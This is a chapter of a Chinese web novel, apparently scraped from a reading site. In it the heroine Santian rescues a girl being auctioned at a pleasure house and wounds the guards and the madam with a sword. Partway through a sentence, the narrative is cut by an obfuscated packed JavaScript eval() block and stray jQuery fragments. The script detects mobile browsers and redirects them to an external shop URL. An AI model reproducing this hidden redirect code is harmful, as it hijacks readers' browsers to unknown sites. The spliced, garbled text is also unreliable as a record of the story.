上京的夜是活的,从南街一直延伸到千曲河畔,人声如沸,游人如织。白日里蒸笼一般烘热,入夜果然起了风了,伴随着下起淅淅沥沥的小雨。三天同赵载渊两人执两把青色四十八骨油纸伞,穿梭在摊贩的叫卖声和游人的嬉闹声中,沿着河岸悠然漫步。
千曲河,河如其名,河流波浪似的一波接一波。每个凸起的河岸都别具一格,所谓玲珑清院就独占了一片河岸,半身矗立在水中。
还未靠近,一阵丝竹之声就顺着风传来,那声调活泼热烈,不似大周所时兴的曲调。赵载渊凝神听了片刻,猜出这是自西边来的异乡人所奏。果不其然,两人还未踏进正门,就见片片飞花自天上落下。艳丽的花瓣纠缠着细雨,似是一场瑰丽的绮梦。沾湿的花瓣飘飘荡荡地落在两人身上,三天衣袖一拂,转过身,视线正好同赵载渊撞在一起。
三天瞧着有趣,拈起落在肩头的花瓣递给赵载渊道:“上次那个不好看,这个给你。”说着,递到赵载渊眼前。
赵载渊当然知道她说的是白日里他在诗会发呆的事情,脸上一时有些挂不住,接过来正想着怎么说才能让自己没那么窘迫时,一道熟悉的声音从天而降。
“好啊你们,嘴上说不,背着小爷偷偷来。”赵载淳在楼上一手拨开窗纱,倾身趴在栏杆上对着楼下大喊。
老板娘眼观六路,耳听八方,听到赵载淳亲昵的口吻,知道两人是靖王世子的朋友,立刻提着裙子小跑着将两人请上了楼。清院内,装扮奇异的异域舞娘们正在台上随着乐师拨弄的琴弦舞蹈,绕过迷醉的男男女女,水乳交融的宾客,两人径直上了二楼。
“刚刚有侍卫来报说看到了你,我还给骂了一顿,没想到啊没想到!”赵载淳摇着扇子,围着端坐的两人,似乎要从他们身上找出些许不为人知的东西来。
这时候三天才注意到,屋内还有另一个人,正是白日里那个穿道袍的少年。他看上去同赵载渊他们差不多大,随性地坐在地上,一条腿屈起,手臂支在腿上,斜着身子托腮假寐。长相纤柔,女子一般的鹅蛋脸,眉毛略淡些,鼻子小而秀挺,不知为何口中衔着一张符箓。
也不知是余念玉还是那本《辩君实录》的关系,三天总是喜欢在心里给男人的长相打个上中下,显然眼前人属于上中。
至于上上,三天转头看向一旁正品茗的赵载渊,他唇色淡些,因着茶水浸染,亮晶晶的,说是个三月桃花也不为过。
三天低下头,掩饰地咽了口茶水,忽然发现赵载淳正盯着自己。
“我很奇怪吗?”
“奇怪。”赵载淳点头。
“他一个道士出现在这里,不是更奇怪?”三天话音刚落,上官希生倏地睁开眼,迷茫地看着几人,还不忘将口中的符纸拿下。
“希生是司星监的道士,出现在这里情有可原吧。”赵载淳道。
司星监是执掌天象的衙门,原身是前朝国师塔。夏朝时,传说东方与海上归墟接壤处有妖物作祟,国师塔中修行之人每五十年一换,镇守在接壤地。后来,这惯例慢慢就消失了。
毕竟所谓的妖物,根本没人见过。后来,国师塔落败,一步步退出权力中心回归了他本来的解读星宿天象的职责。大夏朝灭国后,国师塔在战乱中被焚毁,直到大周建立才在原来的基础上重修庙宇,并改名司星监。不过,这司星监现在也同其他朝廷衙门一般了,有俗家弟子倒也不足为奇。
“他要来,我就来了。”三天脸不红心不跳地指向赵载渊。对方眼都没眨一下点头认下了。
“你说什么云家小姐,我记得二十年前,上京云家在云尚书病逝后,老太君就举家搬离了上京吧。”赵载渊没跟他们继续扯,直奔主题。自上次在天门府见三天落泪后,他心中一直惦记着云非烟这个名字,他曾派手下旁敲侧击地询问过,所得寥寥数语,只知道她是云家的大女儿。
白日里,三天也是听到云家小姐后改了主意,赵载渊再迟钝也察觉到了三天在找关于云家的一切。
“这个其实我也不清楚,也有可能只是噱头。毕竟,上京这些公子哥儿们你是知道的,一遇到逼良为娼这种事情就跟苍蝇似的一窝蜂地往上扑。”
“呵”三天冷笑一声,“你也知道啊。”
“哎你这话就不对了,我跟他们可不一样,我是抱着怜香惜玉的心思来的。”
”口口就口口,装什么清高。“
这一屋子的人第一次听到如此直白而粗鄙的话,一时都愣住了,思来想去竟也找不到借口反驳。
”叮~“一阵似锣鼓又像钟磬的声音如同落入水面的石子在空中泛起无形的涟漪,所有人都被这声音吸引着。一转眼,一群穿着华美的姑娘鱼贯而入,她们手执绸扇,在中央的圆台上漾起绚丽的海。自海浪中央,缓缓站起一个蓝衣女子,她以纱掩面,眉目流转间流露着动人的眼波,激起一阵浪荡子的嬉笑声。
三天觉得无趣,自顾自地坐回桌前。
不多时,下方响起老鸨的声音,似乎是一个女孩的诗作。想着云家是诗书礼教之家,三天觉得应该同这女孩子有些关系,遂站起身来望向台中央。
这老鸨子今日似乎格外着急,还未等众人观望就将女孩子拉了下去。
“诸位公子,这位姑娘非同寻常,我打出生起见过的美人不计其数,可没一个能同这一位相提并论。说句不敬的话,就是天上仙女也逊色三分。”
众人一听这话都被勾起了兴趣,几个浮浪子弟嘴里叫嚷着,让赶紧把人带出来。
老鸨故作姿态地掩面一笑,随后对着身后人说,把她带出来。
原本嘈杂的丝竹声彻底停住,自楼上一张空白画卷徐徐展开,四周灯光暗淡下来。这时,画卷中浮现了一个窈窕的身影。老鸨走到画卷前,对着楼上挥挥手,准备将画卷缓缓合上。
老鸨正卷着画,后背突然一冷,有什么东西破空朝着她飞来。然而,她已来不及思考,一眨眼,一柄长剑直直贯穿了她的手掌,喷洒出的鲜血落在纸上,像一幅诡异的泼墨写意画。她的身子不由自主地被甩飞出去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17833343|207406||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,一切发生的太快,她甚至还未感觉到疼。直到剑尖拔出,鲜血喷涌在脸上,温热的感觉伴随着锥心刺骨的疼痛一齐涌了上来。
“三天!”阿婴笑着撕开身旁巨大的画卷,“她说这里人最多,你一定在这,你果然在这里。”她刚想扑上去抱住三天,却被三天一把制止,随后三天自袖中掏出一方丝帕,系在阿婴的眼前,“呆在这里,过一会儿我们就回家。”
变故发生的太快,所有人都没反应过来。台下,人群不但没有散去,反而越聚越多。人们都兴奋地摩拳擦掌,好一睹这少见的热闹景象。
几十个打手涌了上来,举着刀和棍子雨点似的打向三天。同时,赵载渊同上官希生也翻身落下。三天见状将阿婴推给上官希生,身子一斜避开背后劈来的一刀。但是对面并不会因此放过她,第二刀紧随其后,三天长剑反手一撩,剑锋贴着两人的手腕划过,血光乍现。
那人吃痛,手中长刀掉落,还未触到地面,被一只黑色的靴子轻轻一掀,在空中转了三圈不下反上,落入赵载渊手里。
与此同时,三天已用剑柄重击一人心口,剑尖向后一送,刺入身后人的大腿。
眼见前面几人的惨状,剩下的人逡巡着不敢上前。
然而,三天并未因此罢休,她怒极了,脸上紧绷着,冷笑一声,寒意沁入骨髓。她长剑一振,昏暗中剑光似闪电般冲入人群,左劈右刺,招招见骨,不留余地。赵载渊也顺势挡在她身后,举刀砍瓜切菜一般将挥向自己的棍棒折断。
刀剑相撞声,棍棒声混杂着惨叫与人群中起哄的兴奋尖叫,将整个玲珑清院渲染成地狱。三天双目赤红,眼睛死死盯着躲在打手身后的老鸨,随手刺中前面人的双眼,一脚将那人踹飞出去砸中一片人。
众人知道打不过她,不知不觉退后,终于被三天杀出一条血路来。
老鸨捂着左手,战战兢兢地盯着三天。她满脸满身全是血迹,也分不清是自己的还是别人的,侧脸,下巴,鼻梁,眼下四处都是细小的伤痕,血珠凝在脸上,一如索命厉鬼。
“你你你,你别过来,你可知道我的东家是谁。”老鸨无力地瘫坐在地,身子秋风落叶一般颤抖着,原本精致的妆容也花成一团,像是兑了水的浆糊涂在脸上。
三天现在什么都听不到,她周身气血翻涌,耳边一阵接一阵爆发着巨大的轰鸣声,眼前一片模糊。刚刚在画轴中看到阿婴身影的一刻,她觉得自己全身的血液都被冻结了。
“住手!”官兵涌入,强硬地分开人群,京兆尹亲自带人前来,见正中央横七竖八躺着一群不知道是死是活的人,人群后,三天手提长剑,鲜血顺着剑尖一滴接一滴流下。
“还不快住手,简直无法无天”,京兆尹的话刚说到一半卡住,一声凄厉的惨叫就撕裂了所有人的听觉。
台上,老鸨昏倒在血泊里,身子一下接一下地抽搐。她侧着身子,两只手交叠在一起,一把长剑将她两只手一齐贯穿死死钉在地上。老鸨身前,三天松开握着剑的手,低着头神色不明。